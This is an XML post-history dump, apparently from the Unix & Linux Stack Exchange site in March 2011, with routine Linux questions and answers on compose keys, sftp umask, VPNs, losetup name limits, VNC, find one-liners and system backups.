  <row Id="22344" PostHistoryTypeId="2" PostId="9381" RevisionGUID="852ddf01-6d23-4f65-a681-bd62aeed4389" CreationDate="2011-03-16T17:32:36.350" UserId="4776" Text="If you setup a ComposeKey then you can enter the Euro with the sequence compose-E-=, and get lots of other special characters in a similar way.&#xD;&#xA;&#xD;&#xA;https://help.ubuntu.com/community/GtkComposeTable has some relevant information (not all of it specific to Gtk or Ubuntu; compose key works even if you have no gtk or Gnome)&#xD;&#xA;See also&#xD;&#xA;http://unix.stackexchange.com/questions/2275/how-do-i-put-a-hat-on-e-e&#xD;&#xA;and&#xD;&#xA;http://unix.stackexchange.com/questions/7670/remapping-caps-lock-to-escape-and-menu-to-compose-on-the-linux-console&#xD;&#xA;" />
  <row Id="22345" PostHistoryTypeId="2" PostId="9382" RevisionGUID="765bdee4-5885-4eee-8440-7e9595260866" CreationDate="2011-03-16T17:33:21.980" UserId="3459" Text="The easiest way would be to use a **compose key**.&#xD;&#xA;&#xD;&#xA;Ubuntu has a [community page](https://help.ubuntu.com/community/ComposeKey) that describes this feature very well, but I'm not sure about its accuracy when not using Ubuntu. The page says that **Shift+RightAlt** is the default key but it was not for me on Debian (although I do not use the normal US English layout).&#xD;&#xA;&#xD;&#xA;Personally I set my compose key to the **Menu** key because I didn't find the default behavior of it useful.&#xD;&#xA;&#xD;&#xA;After you have a working compose key configured, typing a Euro symbol with it can be done using at least 8 different combinations. Press and release (do not hold it and type the next character, it is not a modifier key) the `compose key`, followed by `e`, then `=`.&#xD;&#xA;&#xD;&#xA;You can use either `e` or `c`, and `E` or `C` work as well. Additionally the order of the two characters does not matter for this composition so you can enter the `=` first." />
  <row Id="22346" PostHistoryTypeId="2" PostId="9383" RevisionGUID="8dad86ed-9e7b-4b45-9225-ed47a022f66b" CreationDate="2011-03-16T17:37:09.903" UserId="4776" Text="Yes - they're recognised as an input device and you should be able to see information about it with &quot;lsusb&quot;. " />
  <row Id="22347" PostHistoryTypeId="5" PostId="9376" RevisionGUID="6e177b0d-1b86-44ba-a84a-203443973470" CreationDate="2011-03-16T17:39:40.243" UserId="591" Comment="fixed typo" Text="Hi - Sorry I was being thick in the comments. the sftp-server is being run by root and you pick up root's umask. You should be able to fix this by editing your `/etc/ssh/sshd_config` file and changing the line&#xD;&#xA;&#xD;&#xA;`Subsystem sftp /usr/lib/openssh/sftp-server`&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;`Subsystem sftp /bin/sh -c ‘umask 0002; /usr/libexec/openssh/sftp-server’`&#xD;&#xA;" />
  <row Id="22348" PostHistoryTypeId="2" PostId="9384" RevisionGUID="bcc39838-b5be-4827-8c65-cbe083fce111" CreationDate="2011-03-16T17:41:22.973" UserId="4776" Text="Yes: you eventually get two 4k pages. Data is loaded on demand, so if nothing ever refers to the second page it will never be loaded into memory.&#xD;&#xA;&#xD;&#xA;    include/asm-i386/param.h:#define EXEC_PAGESIZE  4096&#xD;&#xA;    include/asm-i386/elf.h:#define ELF_EXEC_PAGESIZE        4096&#xD;&#xA;&#xD;&#xA;Do not change these values and expect anything to work.&#xD;&#xA;&#xD;&#xA;Yes, the file size is stored in the inode in ext2/3." />
  <row Id="22349" PostHistoryTypeId="2" PostId="9385" RevisionGUID="0bb9e837-4fbd-49eb-9d83-8a30bd4ca535" CreationDate="2011-03-16T17:41:56.327" UserId="4" Text="Several answers here mention the [Behlendorf ZFS port][1].&#xD;&#xA;&#xD;&#xA;Keep in mind that the Behlendorf ZFS port is currently targeted towards [Lustre][2] users with extremely large filesystems. This is what Lawrence Livermore National Labs (and other research labs) need, because they run very filesystems (100TB - multi-Petabyte systems in the near future). Lustre runs on Linux, and is running into problems when used for filesystems above certain sizes. Some people hope to [solve this problem using ZFS][3], which is where zfsonlinux.org comes into play.&#xD;&#xA;&#xD;&#xA;In order for ZFS to be useful for the rest of us, the [ZPL][4] (ZFS POSIX Layer) must be ported to Linux, so that administrators can interact with the filesystem. zfsonlinux.org has a [development version of the ZPL][5], and KQ Infotech provides [another implementation of the ZPL][6], which is a fork of the zfsonlinux.org code.&#xD;&#xA;&#xD;&#xA;Behlendorf [wants help to improve the ZPL][7] and to merge in any changes from KQ Infotech into the zfsonlinux.org repository. If you can do this, the community will benefit greatly, and you will be a rockstar.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zfsonlinux.org/&#xD;&#xA;  [2]: http://wiki.lustre.org/index.php/Main_Page&#xD;&#xA;  [3]: http://wiki.lustre.org/index.php/ZFS_and_Lustre&#xD;&#xA;  [4]: http://hub.opensolaris.org/bin/view/Community+Group+zfs/source#HZPLZFSPOSIXLayer&#xD;&#xA;  [5]: http://zfsonlinux.org/example-zpl.html&#xD;&#xA;  [6]: http://kqinfotech.com/content.php?id=2&amp;subid=17&#xD;&#xA;  [7]: http://groups.google.com/a/zfsonlinux.org/group/zfs-devel/browse_thread/thread/032a2109f02fc1ff/844594e248f197cb#844594e248f197cb" />
  <row Id="22350" PostHistoryTypeId="5" PostId="5846" RevisionGUID="5b831265-7a56-44af-b999-3730fde9aecc" CreationDate="2011-03-16T17:52:49.703" UserId="4319" Comment="(minor) Added links to the Debian package and the package's homepage (so that one can explore the things more easily when reading the answer online)." Text="The [moreutils](http://joey.kitenet.net/code/moreutils/) package from ubuntu (and also [debian](http://packages.debian.org/source/unstable/moreutils)) has a program called `sponge`, which sort-of also solves your problem.&#xD;&#xA;&#xD;&#xA;From man sponge:&#xD;&#xA;&#xD;&#xA;&gt; sponge  reads  standard  input and&#xD;&#xA;&gt; writes it out to the specified file.&#xD;&#xA;&gt; Unlike a shell redirect, sponge soaks&#xD;&#xA;&gt; up all its input  before  opening the &#xD;&#xA;&gt; output file. This allows constricting&#xD;&#xA;&gt; pipelines that read from and write to&#xD;&#xA;&gt; the same file.&#xD;&#xA;&#xD;&#xA;Which would let you do something like:&#xD;&#xA;&#xD;&#xA;    cut -d &lt;delim&gt; -f &lt;fields&gt; somefile | sponge somefile" />
  <row Id="22351" PostHistoryTypeId="24" PostId="5846" RevisionGUID="5b831265-7a56-44af-b999-3730fde9aecc" CreationDate="2011-03-16T17:52:49.703" Comment="Proposed by 4319 approved by 73 edit id of 210" />
  <row Id="22352" PostHistoryTypeId="2" PostId="9386" RevisionGUID="483adabc-0bdf-426e-a608-82e904fdf22d" CreationDate="2011-03-16T18:20:19.780" UserId="5630" Text="I'm looking to install and setup a VPN on my Linux installation which is Fedora 14.  At the moment the only one I know of is OpenVPN but I'm wondering if this the best option for Fedora or if Fedora offers other options that are better?&#xD;&#xA;&#xD;&#xA;EDIT:  Definitely looking for free solutions :)" />
  <row Id="22353" PostHistoryTypeId="1" PostId="9386" RevisionGUID="483adabc-0bdf-426e-a608-82e904fdf22d" CreationDate="2011-03-16T18:20:19.780" UserId="5630" Text="VPN on Fedora Linux?" />
  <row Id="22354" PostHistoryTypeId="3" PostId="9386" RevisionGUID="483adabc-0bdf-426e-a608-82e904fdf22d" CreationDate="2011-03-16T18:20:19.780" UserId="5630" Text="éfedoraàévpnà" />
  <row Id="22355" PostHistoryTypeId="5" PostId="9342" RevisionGUID="1e7cdd31-3d2e-4a67-abf2-bf370aacc0d2" CreationDate="2011-03-16T18:34:03.770" UserId="5766" Comment="added 1 characters in body" Text="    http://foo.org/user/10000/track\?page=[0-9]+&#xD;&#xA;&#xD;&#xA;Should work" />
  <row Id="22356" PostHistoryTypeId="2" PostId="9387" RevisionGUID="e05c7525-7975-4245-b186-9a990cd25b01" CreationDate="2011-03-16T18:38:47.497" UserId="3886" Text="Most common syscalls - **read(2)** and **write(2)** takes 3 parameters: descriptor, buffer and length. Returns number of bytes actually read or written.&#xD;&#xA;**close(2)**, obviously, takes one parameter - descriptor to close.&#xD;&#xA;&#xD;&#xA;Most syscalls return -1 in case of error and sets `errno`.&#xD;&#xA;&#xD;&#xA;Everything else I usually read in corresponding man page. Just don't forget the command: `man 2 syscall_name`&#xD;&#xA;&#xD;&#xA;P.S.: do you have **intro(2)** ?" />
  <row Id="22357" PostHistoryTypeId="2" PostId="9388" RevisionGUID="d1e72236-b30e-436d-bca2-c5aabaf3224c" CreationDate="2011-03-16T18:42:33.183" UserId="3976" Text="Fedora also packages [Openswan][1], which has a free IPsec implementation that you can use for a VPN.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openswan.org/" />
  <row Id="22358" PostHistoryTypeId="2" PostId="9389" RevisionGUID="a04b6587-2aa3-4829-898d-2678c0f81293" CreationDate="2011-03-16T19:01:01.967" UserId="3432" Text="`/etc/init.d/gdm restart`&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;`/etc/init.d/kdm restart`&#xD;&#xA;" />
  <row Id="22359" PostHistoryTypeId="2" PostId="9390" RevisionGUID="b03db9b7-6ba5-49ef-a2eb-b4c483109b3d" CreationDate="2011-03-16T19:09:04.987" UserId="3976" Text="As long as you've got the &quot;DontZap&quot; set to &quot;off&quot; in your xorg.conf, you can use control-alt-backspace to kill your running X server.  I've used this in situations when the X environment is so messed up I can't run a command.  If everything is significantly wedged, you might benefit from using the [Magic Sysrq keys][1] 'k' to kill off all processes in the current VT, and if it's *really* wedged, you can reboot your system a bit more cleanly than a hard poweroff.  Sadly, when testing the compositing WMs I did this more often than I'd like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Magic_SysRq_key" />
  <row Id="22361" PostHistoryTypeId="2" PostId="9392" RevisionGUID="3ddaeb1c-5028-4847-a942-db06da8c8219" CreationDate="2011-03-16T19:40:49.670" UserId="5792" Text="I am using losetup -a to see my loop devices, but it has a length limit (which is 62 characters). So I can't know for sure which loop device I really want.&#xD;&#xA;&#xD;&#xA;Ex:&#xD;&#xA;&#xD;&#xA;&gt; [root@r7byach]# losetup -a /dev/loop0:&#xD;&#xA;&gt; [fc03]:33030504&#xD;&#xA;&gt; (/storage5_vol1/6/ABCD116476-linux-ubuntu-10_04-64b-base-07150/*)&#xD;&#xA;&gt; /dev/loop1: [0015]:4933&#xD;&#xA;&gt; (/storage4/5/ABCD12345-linux-centos-5-64b-base-86836/hdc)&#xD;&#xA;&#xD;&#xA;I can get the output on &#xD;&#xA;&#xD;&#xA;&gt; /dev/loop1 using losetup -a|grep&#xD;&#xA;&gt; diskPath |cut -f1 -d:|cut -f3 -d/&#xD;&#xA;&#xD;&#xA;But I can't get the device on loop0, since the name is not fully qualified.&#xD;&#xA;&#xD;&#xA;How can I get the loop device regardless of this size limit?" />
  <row Id="22362" PostHistoryTypeId="1" PostId="9392" RevisionGUID="3ddaeb1c-5028-4847-a942-db06da8c8219" CreationDate="2011-03-16T19:40:49.670" UserId="5792" Text="How to remove length limit from losetup -a" />
  <row Id="22363" PostHistoryTypeId="3" PostId="9392" RevisionGUID="3ddaeb1c-5028-4847-a942-db06da8c8219" CreationDate="2011-03-16T19:40:49.670" UserId="5792" Text="éshellàéloopbackà" />
  <row Id="22364" PostHistoryTypeId="2" PostId="9393" RevisionGUID="e12479a2-f506-4d2c-83a1-4a060fd2d1fb" CreationDate="2011-03-16T19:42:04.533" UserId="5664" Text="PC-A: remote Ubuntu box&lt;br&gt;&#xD;&#xA;PC-B: my local Fedora box&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;PC-A [via ssh]: &lt;br&gt;&#xD;&#xA;apt-get install tightvncserver&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;and i gived a good password&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;ok!&lt;br&gt;&#xD;&#xA;PC-B: &lt;br&gt;&#xD;&#xA;yum install vinagre&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;i flushed all my iptables rule&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;And i tried to connect with IPADDRESS:5901 from my &quot;PC-B&quot; Fedora box to PC-A.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Well..the good thing is, that vinagre pops a password box, and i can see the wallpaper of the Ubuntu machine. But after giving the good password, nothing happens. I can see the wallpaper, and the mouse is waiting, and waiting..&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;What am i missing? Either PC-A hasn't any firewall rule.&lt;br&gt;" />
  <row Id="22365" PostHistoryTypeId="1" PostId="9393" RevisionGUID="e12479a2-f506-4d2c-83a1-4a060fd2d1fb" CreationDate="2011-03-16T19:42:04.533" UserId="5664" Text="Remote VNC from Fedora to Ubuntu" />
  <row Id="22366" PostHistoryTypeId="3" PostId="9393" RevisionGUID="e12479a2-f506-4d2c-83a1-4a060fd2d1fb" CreationDate="2011-03-16T19:42:04.533" UserId="5664" Text="élinuxàévncà" />
  <row Id="22367" PostHistoryTypeId="2" PostId="9394" RevisionGUID="55c5c7a8-a5db-4124-a02c-bf2a85c10775" CreationDate="2011-03-16T19:49:24.390" UserId="5766" Text="Maybe [this one][1]? It expects a config file as argument and works with regexp's.  So not quite without configuration, but you can use process process substitution (`&lt;(list)`), so by all means without *manual* configuration :-) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kassiopeia.juls.savba.sk/~garabik/software/grc.html" />
  <row Id="22368" PostHistoryTypeId="5" PostId="8408" RevisionGUID="d018ec5e-9da4-4288-88eb-d100ae1ea93d" CreationDate="2011-03-16T20:07:05.047" UserId="1676" Comment="link to another Stack Exchange question that goes into more detail on that step." Text="**bit-for-bit backup**&#xD;&#xA;&#xD;&#xA;* Periodically, use &quot;dd&quot; to make a complete bit-for-bit copy of the /home partition on my work computer (or perhaps each and every partition) to a backup file(s) on my server. (Is there some way to update last month's backup using something like rsync so I don't have to start from scratch every time, speeding this up?) (is there some way to do all or most this in the background, while I'm using my computer?).&#xD;&#xA;    * Put a liveCD in the working computer, and reboot&#xD;&#xA;    * `sudo dd if=/dev/hda | gzip -c | ssh -v -c blowfish davidcary@my_local_file_server &quot;dd of=backup_2011_my_working_computer.gz&quot;`&#xD;&#xA;* keep all &quot;my&quot; files in my $HOME directory.&#xD;&#xA;    * text files, photographs, web browser bookmark file, etc. -- all in the home directory.&#xD;&#xA;    * if I write a batch script that &quot;needs&quot; to go in some other subdirectory, keep the master copy somewhere in my $HOME directory, and make a soft link from that other subdirectory to the master copy.&#xD;&#xA;    * If I write compiled software that &quot;needs&quot; to go in some other subdirectory, keep the master source code and Makefile in some subdirectory of my $HOME directory, and set up the Makefile so &quot;make install&quot; automagically installs the binary executable in that other directory.&#xD;&#xA;    * If I fix bugs in some software, pass the bug fixes upstream.&#xD;&#xA;    * keep a list in some text file in my $HOME directory of &quot;apps I like and wasn't installed by default&quot; and &quot;apps that are normally installed by default but I don't like&quot;. See [How do you track which packages were installed on Ubuntu (Linux)?][2] or [How do you track which packages were installed on Fedora (Linux)?][3]&#xD;&#xA;* if I purchase software on CD or DVD, back up the ISO image on my file server, and install from that image onto my work computer. (Because my work computer doesn't *have* an optical drive).&#xD;&#xA;&#xD;&#xA;Later, when machine A is lost,&#xD;&#xA;&#xD;&#xA;* install the latest version of whatever distro is my favorite this week, including all the default software, on machine C.&#xD;&#xA;* On the file server B, use &quot;mount&quot; with the &quot;loop device&quot; to allow read-only access the individual files stored inside that backup file.&#xD;&#xA;(For more information on creating and mounting a read-only compressed disk image, see http://superuser.com/questions/254261/compressed-disk-image-on-linux )&#xD;&#xA;&#xD;&#xA;Alas, the user number of &quot;davidcary&quot; on my work computer is different from the user number of &quot;davidcary&quot; on my file server -- so it appears that all these files are owned by some *other* user. Is there a way to fix this, or to prevent it in the first place?&#xD;&#xA;&#xD;&#xA;* copy my /home/ directory from that backup file to the /home/ directory of my new work machine, somehow (?) skipping over all binary executables. This blocks some kinds of viruses and trojans from spreading to C.&#xD;&#xA;* setup other stuff outside my home directory:&#xD;&#xA;    * check my list of apps, uninstall stuff I don't want.&#xD;&#xA;    * check my list of apps, install the latest version of stuff I want. Hopefully the latest version includes the bug fixes I've passed back. (See links above for ways to automate this process)&#xD;&#xA;    * do &quot;make superclean&quot; and &quot;make install&quot; with each of the compiled programs I've written.&#xD;&#xA;    * somehow (?) remember where the batch scripts &quot;need&quot; to go, and create a soft link from that location to the master source in my /home/ directory. (Is there a way to automate this?)&#xD;&#xA;    * somehow (?) remember all the stuff I have running as cron and anacron jobs, and enter them back in again.&#xD;&#xA;    * install software that was purchased on CD from the ISO image on the file server.&#xD;&#xA;* ... is there anything else I'm missing?&#xD;&#xA;&#xD;&#xA;  [2]: http://superuser.com/questions/6338/how-do-you-track-which-packages-were-installed-on-ubuntu-linux/6932#6932&#xD;&#xA;  [3]: http://superuser.com/questions/10458/how-do-you-track-which-packages-were-installed-on-fedora-linux" />
  <row Id="22369" PostHistoryTypeId="2" PostId="9395" RevisionGUID="64360a11-6662-4f90-985c-a4c1379782ba" CreationDate="2011-03-16T20:09:31.520" UserId="5666" Text="This is a common problem for most developers. If you write code often you will eventually find some patterns that you can use as mnemonics, for example file descriptors are usually the first parameter. But there will always be annoying exceptions hard to memorize.&#xD;&#xA;&#xD;&#xA;You are approaching the problem the wrong way. There is a good reason why so many sophisticated development tools exist. Instead of making your life harder, start using a [specialized source code editor](http://en.wikipedia.org/wiki/Source_code_editor) or an [integrated development environment](http://en.wikipedia.org/wiki/Integrated_development_environment#Overview). &#xD;&#xA;&#xD;&#xA;Some of the standard features (Auto-completion lists, realtime syntax checking, documentation tooltips) will eliminate your problem, taking away a big overhead for you. After all, that's what computers are for, doing the boring repetitive tasks, so you can focus on the interesting stuff.&#xD;&#xA;" />
  <row Id="22370" PostHistoryTypeId="2" PostId="9396" RevisionGUID="b0be608f-a06c-4a08-b897-8f1ba943f8e6" CreationDate="2011-03-16T20:09:44.763" UserId="3976" Text="You might want to look in ~/.vnc/xstartup on the remote end.  It's possible that you're running something like `twm`, which is somewhat feature-free when it comes to a desktop envrironment.&#xD;&#xA;&#xD;&#xA;Also, did you know that the VNC traffic is not encrypted?  Your password and keypresses are being sent in the clear over the network.  Most people tunnel their VNC session over SSH." />
  <row Id="22371" PostHistoryTypeId="2" PostId="9397" RevisionGUID="236f5c00-a564-4683-880a-7440e7541df9" CreationDate="2011-03-16T20:17:04.150" UserId="5794" Text="You say that removing the files periodically with a script isn't fast enough. Could you live with a trigger that deletes a temporary file any time your application finishes writing and closes it? If so, you might make use of the &quot;inotify&quot; API.&#xD;&#xA;&#xD;&#xA;(See http://en.wikipedia.org/wiki/Inotify and https://github.com/rvoicilas/inotify-tools/wiki/)" />
  <row Id="22372" PostHistoryTypeId="2" PostId="9398" RevisionGUID="d940f36c-cc4c-4bf8-8d33-6df611fa9fdb" CreationDate="2011-03-16T20:19:05.957" UserId="5785" Text="My favourite command is 'find', I use it everywhere... examples:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.log&quot; -exec ls -l {} \; | grep &quot;$(find . -name &quot;*.log&quot; -exec ls -l {} \;| nawk '{print $5}' | sort -n | tail )&quot;&#xD;&#xA;&#xD;&#xA;Just display heaviest files in ls -l (long) format.&#xD;&#xA;&#xD;&#xA;Then, if you need your code with 0640 permissions, just search:&#xD;&#xA;&#xD;&#xA;    find . \( \( ! -perm 0640 \) -a \( -name &quot;*.cpp&quot; -o -name &quot;*.h&quot; \) \) -ls | nawk '{print $3&quot;\t&quot;$11}'&#xD;&#xA;&#xD;&#xA;or replace:&#xD;&#xA;&#xD;&#xA;    find . \( -name &quot;*.cpp&quot; -o -name &quot;*.h&quot; \) | xargs chmod 640&#xD;&#xA;&#xD;&#xA;Then, do you need a symbol and don't know where is it??&#xD;&#xA;&#xD;&#xA;    (&#xD;&#xA;      for myObj in $(find . -name &quot;*.o&quot;); do&#xD;&#xA;        gotSym=$(dump -Xany -t $myObj | grep .MY_SYMBOL)&#xD;&#xA;        if ! test &quot;x$gotSym&quot; = &quot;x&quot;&#xD;&#xA;        then&#xD;&#xA;          echo &quot;OBJECT [$myObj] ========================&quot;&#xD;&#xA;          echo &quot;$gotSym&quot;&#xD;&#xA;          echo &quot;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&quot;^&#xD;&#xA;        fi&#xD;&#xA;      done&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;Newer files than XFILE??&#xD;&#xA;&#xD;&#xA;    find . -newer XFILE -type f&#xD;&#xA;&#xD;&#xA;Yeah, &quot;find&quot; rulez!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22373" PostHistoryTypeId="5" PostId="9392" RevisionGUID="fcce6705-fc6a-4b7d-856d-9090400e89ff" CreationDate="2011-03-16T20:20:18.030" UserId="3976" Comment="another formatting fix" Text="I am using losetup -a to see my loop devices, but it has a length limit (which is 62 characters). So I can't know for sure which loop device I really want.&#xD;&#xA;&#xD;&#xA;Ex:&#xD;&#xA;&#xD;&#xA;    [root@r7byach]# losetup -a &#xD;&#xA;    /dev/loop0: [fc03]:33030504 (/storage5_vol1/6/ABCD116476-linux-ubuntu-10_04-64b-base-07150/*)&#xD;&#xA;    /dev/loop1: [0015]:4933 (/storage4/5/ABCD12345-linux-centos-5-64b-base-86836/hdc)&#xD;&#xA;&#xD;&#xA;I can get the output on /dev/loop1 using &#xD;&#xA;&#xD;&#xA;    losetup -a|grep diskPath |cut -f1 -d:|cut -f3 -d/&#xD;&#xA;&#xD;&#xA;But I can't get the device on loop0, since the name is not fully qualified.&#xD;&#xA;&#xD;&#xA;How can I get the loop device regardless of this size limit?" />
  <row Id="22374" PostHistoryTypeId="25" PostId="9386" RevisionGUID="a0542599-a3b5-4b96-b4e2-beb66a97e1ee" CreationDate="2011-03-16T20:31:20.050" Comment="http://twitter.com/#!/StackUnix/status/48119175268413440" />
  <row Id="22375" PostHistoryTypeId="2" PostId="9399" RevisionGUID="6216f16d-5c0a-4e32-9fdd-65826fc02c31" CreationDate="2011-03-16T20:43:45.280" UserId="4319" Text="(It's not a working answer, but still something curious.)&#xD;&#xA;&#xD;&#xA;In `eshell` inside Emacs, they wanted to have such a feature but it's not implemented in a complete way (which is however [reflected in the documentation](http://www.gnu.org/software/emacs/manual/html_mono/eshell.html#index-g_t_0024_0024-8)).&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    ~ $ pwd&#xD;&#xA;    ~&#xD;&#xA;    ~ $ /bin/echo $$&#xD;&#xA;    ~&#xD;&#xA;    ~ $ /bin/pwd&#xD;&#xA;    /home/imz&#xD;&#xA;    ~ $ /bin/echo $$&#xD;&#xA;    &#xD;&#xA;    ~ $ &#xD;&#xA;&#xD;&#xA;You see, only the output of builtins can be captured into the `$$` variable.&#xD;&#xA;&#xD;&#xA;But well, some elisp programming, and you could implement a function that &quot;marks&quot; the last output and returns it as the function's result; so that you can use that function in a eshell command you are asking for -- elisp functions can be used in eshell commands with the usual elisp syntax, i.e. in parentheses, like this:&#xD;&#xA;&#xD;&#xA;    ~ $ /bin/echo (buffer-name)&#xD;&#xA;    *eshell*&#xD;&#xA;    ~ $ /bin/echo (car '(a b c))&#xD;&#xA;    a&#xD;&#xA;    ~ $ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22376" PostHistoryTypeId="2" PostId="9400" RevisionGUID="441142ab-1dac-47ff-9582-9cf2144cd5a4" CreationDate="2011-03-16T20:45:57.570" UserId="3432" Text="Assuming you are using Debian-like Linux&#xD;&#xA;&#xD;&#xA;   * periodically on machine A run:&#xD;&#xA;&#xD;&#xA;        dpkg --get-selections  &gt; /mnt/bakup/backup.pkg.lst &#xD;&#xA;&#xD;&#xA;and keep backup.pkg.lst file in a safe place&#xD;&#xA;&#xD;&#xA;   * When disaster happens, do a minimum install on C machine (or A) (even without GUI) and run as root:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        dpkg --set-selections &lt; /mnt/floppy/backup.pkg.lst &#xD;&#xA;        apt-get update&#xD;&#xA;        apt-get dselect-upgrade&#xD;&#xA;        apt-get dist-upgrade&#xD;&#xA;        apt-get upgrade&#xD;&#xA;&#xD;&#xA;and restore your /home directory from a backup" />
  <row Id="22377" PostHistoryTypeId="5" PostId="9399" RevisionGUID="ed6bf6e7-df27-4c02-98c0-b33c7ae4e3c4" CreationDate="2011-03-16T20:51:06.350" UserId="4319" Comment="Hinted at an example of an implementation of a similar function." Text="(It's not a working answer, but still something curious.)&#xD;&#xA;&#xD;&#xA;In `eshell` inside Emacs, they wanted to have such a feature but it's not implemented in a complete way (which is however [reflected in the documentation](http://www.gnu.org/software/emacs/manual/html_mono/eshell.html#index-g_t_0024_0024-8)).&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    ~ $ pwd&#xD;&#xA;    ~&#xD;&#xA;    ~ $ /bin/echo $$&#xD;&#xA;    ~&#xD;&#xA;    ~ $ /bin/pwd&#xD;&#xA;    /home/imz&#xD;&#xA;    ~ $ /bin/echo $$&#xD;&#xA;    &#xD;&#xA;    ~ $ &#xD;&#xA;&#xD;&#xA;You see, only the output of builtins can be captured into the `$$` variable.&#xD;&#xA;&#xD;&#xA;But well, some elisp programming (cf. `eshell-mark-output` implementation in &quot;esh-mode.el&quot;), and you could implement a function that &quot;marks&quot; the last output and returns it as the function's result; so that you can use that function in a eshell command you are asking for -- elisp functions can be used in eshell commands with the usual elisp syntax, i.e. in parentheses, like this:&#xD;&#xA;&#xD;&#xA;    ~ $ /bin/echo (buffer-name)&#xD;&#xA;    *eshell*&#xD;&#xA;    ~ $ /bin/echo (car '(a b c))&#xD;&#xA;    a&#xD;&#xA;    ~ $ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22378" PostHistoryTypeId="2" PostId="9401" RevisionGUID="0e94f23f-7874-4d34-88ed-378508c1ff0a" CreationDate="2011-03-16T20:56:16.377" UserId="3852" Text="` awk '{a[i++]=$0} END {for (j=i-1; j&gt;=0;) print a[j--] }' file.txt`&#xD;&#xA;&#xD;&#xA;via [awk one liners][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pement.org/awk/awk1line.txt" />
  <row Id="22379" PostHistoryTypeId="2" PostId="9402" RevisionGUID="b3c1f192-cbca-46b8-a0f6-cfe1c625bb19" CreationDate="2011-03-16T21:02:16.230" UserId="885" Text="Strace shows that `losetup -a` obtains the name through the [`LOOP_GET_STATUS`](http://lxr.linux.no/#linux+v2.6.38/include/linux/loop.h#L158) ioctl, which calls [`loop_get_status_old`](http://lxr.linux.no/linux+*/drivers/block/loop.c#L1240), which gets its data from a [`struct loop_info`](http://lxr.linux.no/#linux+v2.6.38/include/linux/loop.h#L85). The name field in that kernel data structure is limited to [`LO_NAME_SIZE`](http://lxr.linux.no/#linux+v2.6.38/include/linux/loop.h#L13) = 64 bytes. (There's also a `loop_get_status64` and `struct loop_info64`, but they have the same limitation.) So this limitation is intrinsic, you can't do any better.&#xD;&#xA;&#xD;&#xA;Anyway, that data structure shows the original name of the underlying device or file, but you can rename it (or even remove it), and this won't be reflected in the output from `losetup`.&#xD;&#xA;&#xD;&#xA;The output of `losetup` shows the filesystem identifier (`st_dev`) and inode (`st_ino`) of the file, e.g., `[fc03]:33030504`. You can find the block device for the filesystem by looking it up in `/proc/partitions` (line beginning with `252 3`). Then look up that block device's mount point in `/proc/mounts`. Then run `find /mount/point -inum 33030504` to locate the file. Yes, it's convoluted, and no, there's no faster way (well, there's [`debugfs` for some filesystem types](http://stackoverflow.com/questions/4606774/why-cant-files-be-manipulated-by-inode)).&#xD;&#xA;" />
  <row Id="22380" PostHistoryTypeId="6" PostId="9392" RevisionGUID="9151e30e-0320-46d4-af46-6fdc2b1fd6ac" CreationDate="2011-03-16T21:02:56.917" UserId="885" Comment="edited tags" Text="élinuxàéshellàéloopà" />
  <row Id="22381" PostHistoryTypeId="6" PostId="4535" RevisionGUID="5ab81727-7796-495b-a311-4230b27c1395" CreationDate="2011-03-16T21:03:46.730" UserId="885" Comment="edited tags" Text="émountàégrepàéloopà" />
  <row Id="22382" PostHistoryTypeId="6" PostId="2973" RevisionGUID="9082bb95-5b64-4e24-9b5d-03521d934409" CreationDate="2011-03-16T21:04:02.813" UserId="885" Comment="edited tags" Text="égrubàémountàéext4àéloopà" />
  <row Id="22383" PostHistoryTypeId="2" PostId="9403" RevisionGUID="0810b510-258d-4f4a-bf35-4d57073fb5af" CreationDate="2011-03-16T21:21:00.537" UserId="2671" Text="Is it possible to create a dependency for the debian version in a .deb package?&#xD;&#xA;&#xD;&#xA;I would like to put two versions of one package into the same repository. One is for debian 5 and one for debian 6. The version numbers are different (deb 6 version has a higher number), but I would like accidental installs of the deb 6 version on deb 5 systems." />
  <row Id="22384" PostHistoryTypeId="1" PostId="9403" RevisionGUID="0810b510-258d-4f4a-bf35-4d57073fb5af" CreationDate="2011-03-16T21:21:00.537" UserId="2671" Text="Creating debian version dependency in a .deb package" />
  <row Id="22385" PostHistoryTypeId="3" PostId="9403" RevisionGUID="0810b510-258d-4f4a-bf35-4d57073fb5af" CreationDate="2011-03-16T21:21:00.537" UserId="2671" Text="édebianàépackageömanagementà" />
